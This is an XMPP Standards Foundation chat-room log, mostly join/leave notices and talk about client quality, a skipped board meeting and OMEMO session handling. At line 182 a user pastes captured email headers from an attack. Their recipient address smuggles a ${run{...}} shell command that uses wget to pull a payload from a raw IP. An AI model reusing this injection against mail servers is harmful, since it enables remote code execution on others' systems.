XSF logo XSF Discussion - 2019-06-27


  1. debacle has left
  2. karoshi has left
  3. pdurbin has joined
  4. pdurbin has left
  5. pdurbin has joined
  6. lskdjf has left
  7. pdurbin has left
  8. pdurbin has joined
  9. matlag has left
  10. matlag has joined
  11. murabito has joined
  12. Wojtek has left
  13. pdurbin has left
  14. wurstsalat has left
  15. pdurbin has joined
  16. pdurbin has left
  17. pdurbin has joined
  18. peter has joined
  19. pdurbin has left
  20. Daniel has left
  21. Daniel has joined
  22. Yagiza has joined
  23. peter has left
  24. adityaborikar has left
  25. adityaborikar has joined
  26. andy has joined
  27. adityaborikar has left
  28. pdurbin has joined
  29. Nekit has joined
  30. adityaborikar has joined
  31. waqas has joined
  32. adityaborikar has left
  33. adityaborikar has joined
  34. pdurbin has left
  35. wurstsalat has joined
  36. APach has joined
  37. sezuan has joined
  38. lumi has left
  39. kokonoe has left
  40. sezuan has left
  41. sezuan has joined
  42. lumi has joined
  43. Alex has left
  44. Alex has joined
  45. adityaborikar has left
  46. adityaborikar has joined
  47. lumi has left
  48. sezuan has left
  49. goffi has joined
  50. alacer has joined
  51. COM8 has joined
  52. COM8 has left
  53. krauq has left
  54. lnj has joined
  55. pdurbin has joined
  56. jcbrand has joined
  57. krauq has joined
  58. andy has left
  59. karoshi has joined
  60. Steve Kille has left
  61. edhelas https://techcrunch.com/2019/06/26/india-government-inhouse-chat-app-whatsapp/
  62. andy has joined
  63. pdurbin has left
  64. waqas has left
  65. Steve Kille has joined
  66. adityaborikar has left
  67. Nekit has left
  68. Nekit has joined
  69. lskdjf has joined
  70. alacer has left
  71. alacer has joined
  72. rtq3 has joined
  73. kokonoe has joined
  74. sezuan has joined
  75. adityaborikar has joined
  76. adityaborikar edhelas: thumbsup !
  77. edhelas related HN thread https://news.ycombinator.com/item?id=20291889#20292122
  78. edhelas if you guys wants to reply
  79. rtq3 has left
  80. Yagiza Daniel, are you here?
  81. adityaborikar has left
  82. Daniel Yagiza: it's probably better if you just ask your question since there are other people in here who can answer them as well
  83. Daniel As lovetox demonstrated yesterday
  84. Yagiza Daniel, ok
  85. Yagiza So, once session_cipher is created, I don't need session_builder anymore?
  86. Nekit has left
  87. adityaborikar has joined
  88. Nekit has joined
  89. adityaborikar has left
  90. adityaborikar has joined
  91. alacer has left
  92. alacer has joined
  93. mimi89999 has left
  94. adityaborikar has left
  95. alacer has left
  96. alacer has joined
  97. mimi89999 has joined
  98. adityaborikar has joined
  99. igoose has left
  100. rtq3 has joined
  101. rtq3 has left
  102. rtq3 has joined
  103. debacle has joined
  104. adityaborikar has left
  105. rtq3 has left
  106. rtq3 has joined
  107. rtq3 has left
  108. adityaborikar has joined
  109. rtq3 has joined
  110. pdurbin has joined
  111. adityaborikar has left
  112. Andrew Nenakhov has left
  113. Andrew Nenakhov has joined
  114. pdurbin has left
  115. rtq3 has left
  116. rion Is it possible to add Psi here https://xmpp.org/getting-started/ ?
  117. rion ah there is a list on another page. ok.
  118. Zash https://xmpp.org/software/clients.html ?
  119. rion so the first list is discriminating all other clients :)
  120. Zash It would be nice if there were more detailed getting-started tutorials, with pictures and stuff. Maybe you could do one for Psi?
  121. Zash "get a client, get an account, done!" seems a bit bare
  122. Zash Let's not have another fight over this page 😕
  123. jonas’ maybe clients should make tutorials superfluous by having proper onboarding
  124. jonas’ with server lists and stuff
  125. jonas’ and then we can make it a criterium for a client to have that type of flow to be listed on getting_started
  126. jonas’ and Ge0rG can finally get rid of his pidgin
  127. Zash I don't see Pidgin there
  128. jonas’ oh, so that was fixed already
  129. Nekit has left
  130. alacer has left
  131. rion what's wrong with Pidgin?
  132. jonas’ lack of support for any modern XMPP feature?
  133. jonas’ and don’t get me started on plugins
  134. Ge0rG tl;dr: everything is wrong
  135. jonas’ you know, pidgin, the type of client where you have to ask "did you write anything?" when the peer goes off- and online, because it doesn’t have stream management *or* MAM
  136. jonas’ you know, pidgin, the type of client where you need to make other clients resource-lock to, otherwise you don’t get messages (no carbons)
  137. jonas’ you know, pidgin, the type of client where you have to consciously log off before switching networks/suspending to not lose messages (again, no SM or MAM)
  138. Nekit has joined
  139. jonas’ you know, pidgin, the type of client which has an architecture which makes it easy for crypto plugins to accidentally send plaintext instead of ciphertext when you start a message with "/me"
  140. jonas’ (I’m stopping now)
  141. j.r has left
  142. pep. deserves its own rant anyway
  143. pep. fail.
  144. jonas’ bahaha
  145. pep. Why poezio.. why..
  146. pep. "//me" doesn't even work
  147. jonas’ it can’t
  148. jonas’ and you know why :)
  149. jonas’ that’s why you want to rant about it
  150. jonas’ you need ///me
  151. pep. Yes
  152. jonas’ and then everyone will see "//me" :)
  153. j.r has joined
  154. pep. jonas’, why I have you, can you merge this plz https://github.com/xsf/xmpp.org/pull/582 :)
  155. rion Well I always used Pidgin just like a transport for spectrum =)
  156. pep. I think there are also horror stories with that
  157. j.r has left
  158. jonas’ pep., I don’t have github credentials at work
  159. Nekit has left
  160. jonas’ oh, spectrum with libpurple? you know, the IRC transport where you would get disconnected when you sent a message starting with ``/quit`` to the transport?
  161. jonas’ or was it the transport where you would get disconnected when you sent a multi-line message like: foo QUIT :bar
  162. jonas’ to get disconnected?
  163. jonas’ I *am* in a ranty mood today.
  164. rion unfortunately Pidgin's Skype integration is full of bugs. That's what I needed at most last time.
  165. Nekit has joined
  166. j.r has joined
  167. alacer has joined
  168. mimi89999 has left
  169. rtq3 has joined
  170. mimi89999 has joined
  171. winfried has left
  172. winfried has joined
  173. Nekit has left
  174. Nekit has joined
  175. jcbrand has left
  176. pdurbin has joined
  177. adityaborikar has joined
  178. frainz has left
  179. frainz has joined
  180. pdurbin has left
  181. Nekit has left
  182. neshtaxmpp moparisbest: someone comment 127.0.0.1 or number ip is not importamr and this is LIE. today mi friend comment someone connect from 127.0.0.1 and send this: Return-Path: <root@1ur.com> X-Original-To: root+${run{x2Fbinx2Fsht-ctx22wgetx2065.181.120.163x2fstfinracux22}}@yourdomain.com Delivered-To: root+${run{x2Fbinx2Fsht-ctx22wgetx2065.181.120.163x2fstfinracux22}}@yourdomain.com Received: from localhost (localhost [127.0.0.1]) by yourdomain.com (Postfix) with ESMTP id A94DBA00B30 for <root+${run{x2Fbinx2Fsht-ctx22wgetx2065.181.120.163x2fstfinracux22}}@yourdomain.con>; Wed, 26 Jun 2019 02:58:45 +0200 (CEST) X-Quarantine-ID: <UdVj8nzxJJRS> X-Virus-Scanned: Debian amavisd-new at yourdomain.com X-Amavis-Alert: BAD HEADER SECTION, Missing required header field: "Date" Message-Id: <20190626005845.A94DBA00B30@yourdomain.com> Date: Wed, 26 Jun 2019 02:58:45 +0200 (CEST) From: root@1ur.com
  183. adityaborikar has left
  184. pdurbin has joined
  185. adityaborikar has joined
  186. jonas’ neshtaxmpp, this room is not about email.
  187. Nekit has joined
  188. neshtaxmpp jonas’: it is about sslh and someone try hack my friend server throught sslh. i need someone commment how sslh sopve apache2 to show real ip and block 127.0.0.1 not to be used outside internet.
  189. jonas’ this room also is not about sslh
  190. jonas’ or sysadmin in general
  191. jcbrand has joined
  192. alacer has left
  193. alacer has joined
  194. vanitasvitae neshtaxmpp, tell your fried to visit a local hackerspace to get help, but please do not bother the people in this room about it.
  195. pep. vanitasvitae, I wish hackerspaces were as big a thing anywhere else than they are in germany, but it's not the case :(
  196. DebXWoody has left
  197. DebXWoody has joined
  198. Daniel I'm not entirely sure hackerspaces want to be a replacement for search engines
  199. Zash Maybe there's even a support venue for sslh itself.
  200. rtq3 has left
  201. rtq3 has joined
  202. lskdjf has left
  203. lskdjf has joined
  204. matlag has left
  205. pdurbin has left
  206. j.r has left
  207. peter has joined
  208. peter has left
  209. matlag has joined
  210. j.r has joined
  211. rtq3 has left
  212. dos has joined
  213. rtq3 has joined
  214. intosi has left
  215. Seve is on its way to the airport. Crossing fingers for a stable connection
  216. Guus Ralph and Matt can't make it.
  217. Guus if you're not on a reliable connection, we might as well skip the meeting, unless something important needs to be handled.
  218. Guus (assuming that nyco is here, in the first place)
  219. Seve Right
  220. nyco good guess
  221. Guus do we skip this meeting or not?
  222. nyco let me check the board
  223. nyco followup on badges is ok, I've not done the poll yet
  224. nyco so yes, I think we need more members to really advance
  225. Seve I guessed that, yes
  226. Guus ok, let's skip this meeting then.
  227. nyco three is good from a bylaws standpoint, but imho not enough for debate and decision making
  228. Guus agreed
  229. nyco ok
  230. nyco so, bang, and bang, done, thx all, +1W ;-)
  231. Guus have a good flight, Seve 🙂
  232. nyco I believe I can flyyyyy
  233. Seve 😁
  234. Guus If your pilot sings that: run.
  235. Nekit has left
  236. Nekit has joined
  237. Seve Oh... Haha
  238. Seve If I hear that, it may be too late
  239. j.r has left
  240. lumi has joined
  241. peter has joined
  242. Ge0rG Aw, what a pity. I wanted to provide an update regarding the German government contact.
  243. Guus Ge0rG - could you do that by mail, if it's longer than 2 sentences?
  244. Guus Do you need our input to progress?
  245. Ge0rG Guus: yes I can. No input needed so far. Should I write to members@?
  246. peter has left
  247. rtq3 has left
  248. rtq3 has joined
  249. Guus if it's of interest to the members, yes. Otherwise: did we solve that Board mailing thingy?
  250. Guus (Seve?)
  251. Yagiza Well...
  252. adityaborikar has left
  253. Yagiza Where can I get session_cipher to decrypt pre_key_signal_message?
  254. j.r has joined
  255. Ge0rG Guus: IIRC somebody is now looking for external mail to board@ or somesuch
  256. jonas’ Ge0rG, Seve typically does that
  257. Guus (Who's now in a plane)
  258. Guus Ge0rG if you're unsure if it's suitable for members@, mail it to me, and I'll forward it to board@
  259. Ge0rG Guus: I'll try to write down something when I have a bit of time. Don't think there are any issues with using members@
  260. Guus tx
  261. adityaborikar has joined
  262. Nekit has left
  263. intosi has joined
  264. adityaborikar has left
  265. Nekit has joined
  266. APach has left
  267. APach has joined
  268. pdurbin has joined
  269. adityaborikar has joined
  270. neshtaxmpp has left
  271. neshtaxmpp has joined
  272. rtq3 has left
  273. rtq3 has joined
  274. pdurbin has left
  275. edhelas has left
  276. edhelas has joined
  277. igoose has joined
  278. Douglas Terabyte has left
  279. adityaborikar has left
  280. peter has joined
  281. Douglas Terabyte has joined
  282. adityaborikar has joined
  283. peter has left
  284. COM8 has joined
  285. COM8 has left
  286. david has left
  287. david has joined
  288. murabito has left
  289. murabito has joined
  290. goffi has left
  291. j.r has left
  292. sezuan has left
  293. j.r has joined
  294. j.r has left
  295. Lance has joined
  296. andy has left
  297. j.r has joined
  298. andy has joined
  299. eevvoor has joined
  300. goffi has joined
  301. adityaborikar has left
  302. matlag has left
  303. lovetox has joined
  304. adityaborikar has joined
  305. neshtaxmpp has left
  306. lovetox Yagiza, yes session is only once build, after that you load the session from the database and use it to decrypt and encrypt
  307. Nekit has left
  308. Nekit has joined
  309. matlag has joined
  310. Yagiza lovetox, so, I have different question.
  311. Wojtek has joined
  312. Yagiza lovetox, how to generate session_cipher to decrypt pre_key_signal_message?
  313. kokonoe has left
  314. Yagiza Do I have to decrypt it with a key, generated with empty session_builder (before session_builder_process_pre_key_bundle()) call?
  315. lovetox hm i cant talk much about the C lib but in the python port
  316. lovetox you create a new session_cipher
  317. lovetox then use ession_cipher.decryptPkmsg(pre_key_message)
  318. lovetox and the decryptPkmsg, does create a new session on its own and saves it to the database
  319. lovetox so nothing more to do here
  320. lovetox is there something similar in the C version?
  321. kokonoe has joined
  322. adityaborikar has left
  323. pdurbin has joined
  324. lovetox there session_cipher_decrypt_pre_key_signal_message
  325. lovetox looked it up
  326. lovetox it does everything for you
  327. lovetox create a new session, store it to the db, decrypt the message
  328. jcbrand has left
  329. Yagiza lovetox, so, after that call, current session is invalidated and new session is created instead?
  330. lovetox yes
  331. lovetox thats also how you refresh a session, you just send a new pkmg
  332. pdurbin has left
  333. lovetox but normally this should not be necessery
  334. Yagiza lovetox, do I need to generate new session_cipher after that?
  335. lovetox session_cipher is only a wrapper
  336. lovetox it does not hold any state itself
  337. lovetox you call decrypt or encrypt on it, what it does is it loads the session from the database everytime
  338. lovetox you can also recreate it after each message if you want
  339. Yagiza lovetox, so, once session is changed, existing session_cipher will use a new session data?
  340. lovetox yes
  341. edhelas has left
  342. lovetox i create it on the first message for each contact
  343. lovetox and cache it
  344. edhelas has joined
  345. lovetox but you dont have to, you can also create it on every message new, does not make a difference
  346. Yagiza lovetox, IC
  347. lovetox session is loaded on each message, modified and stored back to database
  348. lovetox otherwise it would be highly likely that you have invalid session if your application crashes
  349. lovetox so no state is hold in memory
  350. Nekit has left
  351. Yagiza lovetox, ok
  352. Yagiza lovetox, so, I need session_builder only when initiating session. If session initiated by other party, it is created by session_cipher_decrypt_pre_key_signal_message(), right?
  353. lovetox yes
  354. Nekit has joined
  355. waqas has joined
  356. adityaborikar has joined
  357. alacer has left
  358. adityaborikar has left
  359. dos has left
  360. dos has joined
  361. Yagiza lovetox, IC. Thank you.
  362. Yagiza lovetox, and the last question.
  363. Yagiza lovetox, how do I decide, to which resources of my contact do I need to send encrypted messages, and to which of them not encrypted? Only by checking if it has 'eu.siacs.conversations.axolotl.devicelist+notify' #disco feature?
  364. Lance has left
  365. lovetox no
  366. lovetox you dont send messages to resources
  367. adityaborikar has joined
  368. lumi has left
  369. lovetox or better said all messages you send will arrive at all resources of the contact
  370. lovetox because of carbons, mam etc
  371. Yagiza lovetox, I can't be sure that all of resources of my contact do support OMEMO.
  372. lovetox you dont change anything about how you send a message
  373. lovetox Yagiza, you can be sure that one device supports it
  374. lovetox and thats enough
  375. lovetox the user decides if he wants to send encrypted or not
  376. lovetox not the client
  377. Yagiza lovetox, what do you mean? I have a contact. And I se all of their resources. And I can choose to which of them to send message.
  378. Yagiza lovetox, at least, my cliend allows that.
  379. lovetox so your client makes the server not save the message in MAM
  380. lovetox ?
  381. lovetox otherwise you cant control who downloads a message from the archive
  382. Yagiza lovetox, my client to not support MAM yet.
  383. Lance has joined
  384. lovetox but the server has
  385. Yagiza lovetox, so?
  386. lovetox and the server stores all messages in MAM
  387. lovetox if you want or not
  388. Yagiza lovetox, ok
  389. lovetox and other clients will download it
  390. lovetox dont assume you can control who gets the message
  391. lovetox other than the barejid
  392. lovetox you find keys in pep
  393. lovetox then you know at least one device of the contact supports it
  394. lovetox and afterwards you give your user the decision if he wants to talk encrypted or not
  395. peter has joined
  396. Yagiza lovetox, anyway. When I send encrypted message, clients, which do not support OMEMO will just ignore it. When I send unencrypted message, all the clients may read and display it.
  397. lovetox yes
  398. Yagiza And I can't be sure, that my or their server do support MAM.
  399. lovetox and you cant know if the user is fine with that
  400. lovetox the user maybe totally fine with one of his devices ignoring omemo
  401. lovetox and only one device beeing able to decrypt
  402. Yagiza Yes
  403. jcbrand has joined
  404. matlag has left
  405. lovetox i just try to save you implementation trouble, you can try to make logic that start and stops encrypting if this and that happens
  406. lovetox but i tell you from experience users will come and tell you they want to make the decision themself
  407. rtq3 has left
  408. peter has left
  409. lovetox especially disco info is useless here
  410. Yagiza So, if user enabled OMEMO encryption for a contact, but selected a resource, which do not support it, I must somehow make him aware of the fact and send unencrypted messages in that case.
  411. lovetox it only works if a client is online
  412. lovetox omemo works also if the contact is offline
  413. lovetox dont forget that
  414. Yagiza lovetox, yes. That's not a problem.
  415. lovetox Yagiza, why do you even have UI where the user selects a resoure
  416. Yagiza lovetox, I'm telling only about the sace above.
  417. Yagiza lovetox, because that's a good tradition.
  418. lovetox if i talk as a user, i dont care how many devices are online of my friend, i just want to send him a message
  419. Yagiza lovetox, not all the servers do support MAM or Message Archving or Message Carbons.
  420. lovetox Yagiza, then we should tell the admins to upgrade
  421. Yagiza So, it's a good thing to have an ability to specify a resource.
  422. lovetox i cant help you with that, thats not a usecase for me to write clients for servers from the stoneage
  423. Yagiza lovetox, IC. So, you think sending messages to bare JID is a good idea?
  424. lovetox Yagiza, thats not what i wanted to say, allthough many devs in the community would answer that question with yes
  425. lovetox what i want to say is, that i think its bad UI if you make the user force a resource
  426. rtq3 has joined
  427. lovetox because user has to know about what a resource is, that is xmpp protocol stuff
  428. lovetox users just want to write messages
  429. lovetox and you should no assume only because you adress a message to a resource, that only this resource will get the message
  430. eevvoor has left
  431. Yagiza lovetox, yes, of course.
  432. lovetox that is 99% wrong assumption in our current world
  433. Steve Kille has left
  434. sezuan has joined
  435. sezuan has left
  436. sezuan has joined
  437. jonas’ send to the bare JID
  438. jonas’ you’ll be in pain when IM-NG lands otherwise :)
  439. Steve Kille has joined
  440. pep. When is that :/
  441. pep. Any client/server already doing things with it? More than what MattJ said at the summit
  442. jonas’ I think there was some discussion about that type of stuff the other day
  443. jonas’ but don’t pin me down on tha
  444. jonas’ I wish I had time to experiment with things, but so many fires to fight these weeks
  445. pep. People in IT always playing with fire..
  446. jonas’ ha
  447. rtq3 has left
  448. pep. Though with the current temperature..
  449. pep. https://upload.bouah.net/upload/_tGYZRYmjJHFBvmx/hrsPzCX6ROecghJJhbvNXA.jpg
  450. jonas’ holy smokes
  451. jonas’ I feel sorry for you
  452. jonas’ and I thought we had bad luck with the 38°C yesterday
  453. jonas’ (dropped to 25°C today)
  454. lumi has joined
  455. igoose has left
  456. igoose has joined
  457. rtq3 has joined
  458. matlag has joined
  459. igoose has left
  460. goffi has left
  461. igoose has joined
  462. Yagiza has left
  463. Yagiza has joined
  464. alacer has joined
  465. pdurbin has joined
  466. alacer has left
  467. alacer has joined
  468. pdurbin has left
  469. lovetox i dont find the xep that defines dataforms for disco info
  470. lovetox ah 128
  471. jcbrand has left
  472. goffi has joined
  473. rtq3 has left
  474. Yagiza And one more question...
  475. rtq3 has joined
  476. Yagiza After I processed PreKeySignalMessage, an appropriate pre key is automatically substituted with a new one? So, I only need to refresh the bundle on the PEP server?
  477. igoose has left
  478. lovetox no
  479. lovetox the prekey which was used, is deleted from the database
  480. lovetox but no new keys are generated
  481. lovetox you have to do this yourself
  482. lovetox and of course you should instantly delete the prekey used from pep
  483. igoose has joined
  484. Yagiza lovetox, so, I need generate a new key instead of used one? Ok.
  485. lovetox you dont have to generate new ones, i mean we publish 100 keys
  486. lovetox you can also generate new ones when you reach 90 or something like this
  487. lovetox but you have to delete the used one from pep, so you have to push 99 keys anyway
  488. lovetox so i would say just generate one and push 100 again
  489. Yagiza lovetox, I aware about publishing new bundle of 100 keys.
  490. Yagiza lovetox, the only question was about generating a new key instead of used one.
  491. lovetox im not following, if a key is used, you only have 99, if you aware that you should have 100 keys
  492. lovetox what is there for other option than generate 1 new key?
  493. alacer has left
  494. alacer has joined
  495. adityaborikar has left
  496. neshtaxmpp has joined
  497. Yagiza lovetox, I didn't know old key is deleted and a new one is generated automatically, or not. So, once you told me that it is deleted, but no new key is generated, I understand, that I only need to generate a new key to replace used one.
  498. lovetox ah ok :)
  499. adityaborikar has joined
  500. lovetox and Yagiza we should move the discussion to xmpp:jdev@conference.jabber.org?join this room is more suited
  501. Yagiza lovetox, yes. I tried to ask there, but almost no one replied.
  502. lovetox im always joined there :)
  503. Yagiza lovetox, me too.
  504. adityaborikar has left
  505. vanitasvitae Yagiza: you could take a look at https://blog.jabberhead.tk/2019/04/15/closer-look-at-the-double-ratchet/ to understand the inner workings of the signal protocol.
  506. Nekit has left
  507. Yagiza vanitasvitae, ok, thank you!
  508. adityaborikar has joined
  509. rtq3 has left
  510. rtq3 has joined
  511. j.r has left
  512. goffi has left
  513. sezuan has left
  514. debacle has left
  515. j.r has joined
  516. Yagiza has left
  517. krauq has left
  518. pdurbin has joined
  519. krauq has joined
  520. j.r has left
  521. j.r has joined
  522. vanitasvitae has left
  523. pdurbin has left
  524. jcbrand has joined
  525. vanitasvitae has joined
  526. peter has joined
  527. waqas has left
  528. sezuan has joined
  529. Nekit has joined
  530. j.r has left
  531. mimi89999 has left
  532. mimi89999 has joined
  533. jcbrand has left
  534. j.r has joined
  535. j.r has left
  536. debacle has joined
  537. sezuan has left
  538. sezuan has joined
  539. peter has left
  540. Nekit has left
  541. sezuan has left
  542. edhelas has left
  543. edhelas has joined
  544. eevvoor has joined
  545. j.r has joined
  546. Zash has left
  547. wurstsalat has left
  548. eevvoor has left
  549. karoshi has left
  550. lovetox can someone verify that the example here is wrong https://xmpp.org/extensions/xep-0128.html#examples
  551. lovetox as it has a field without type which means text-single
  552. lovetox but still has multiple <values>
  553. lovetox which is a MUST NOT in 0004
  554. lovetox or am i missing something
  555. moparisthebest jonas’, vanitasvitae: I've tried more than once to help neshtaxmpp by linking him to exactly what he was asking for etc, he's either a troll or beyond help, I just ignore now
  556. pdurbin has joined
  557. pep. moparisthebest, yeah I have also given in this domain :)
  558. peter has joined
  559. lumi has left
  560. peter has left
  561. lovetox has left
  562. vanitasvitae Yeah I also dealt with him repeatedly :D
  563. pdurbin has left
  564. lumi has joined
  565. matlag has left
  566. matlag has joined
  567. Douglas Terabyte has left
  568. Douglas Terabyte has joined
  569. UsL has left
  570. rtq3 has left
  571. Lance has left
  572. andy has left
  573. lumi has left
  574. marc_ has left
  575. debacle has left
  576. marc_ has joined
  577. marc_ has left
  578. marc_ has joined
  579. lnj has left
  580. Lance has joined
  581. dwd has left
  582. dwd has joined
  583. dwd has left
  584. igoose has left
  585. igoose has joined
  586. Douglas Terabyte has left
  587. Lance has left
  588. Wojtek has left